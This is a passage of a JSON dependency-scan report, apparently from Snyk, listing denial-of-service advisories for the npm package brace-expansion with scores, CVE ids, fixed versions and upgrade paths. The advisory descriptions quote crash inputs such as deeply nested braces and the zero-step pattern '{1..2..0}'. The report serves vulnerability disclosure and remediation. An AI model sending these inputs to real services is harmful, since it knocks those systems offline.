"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"pacote@19.0.2",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
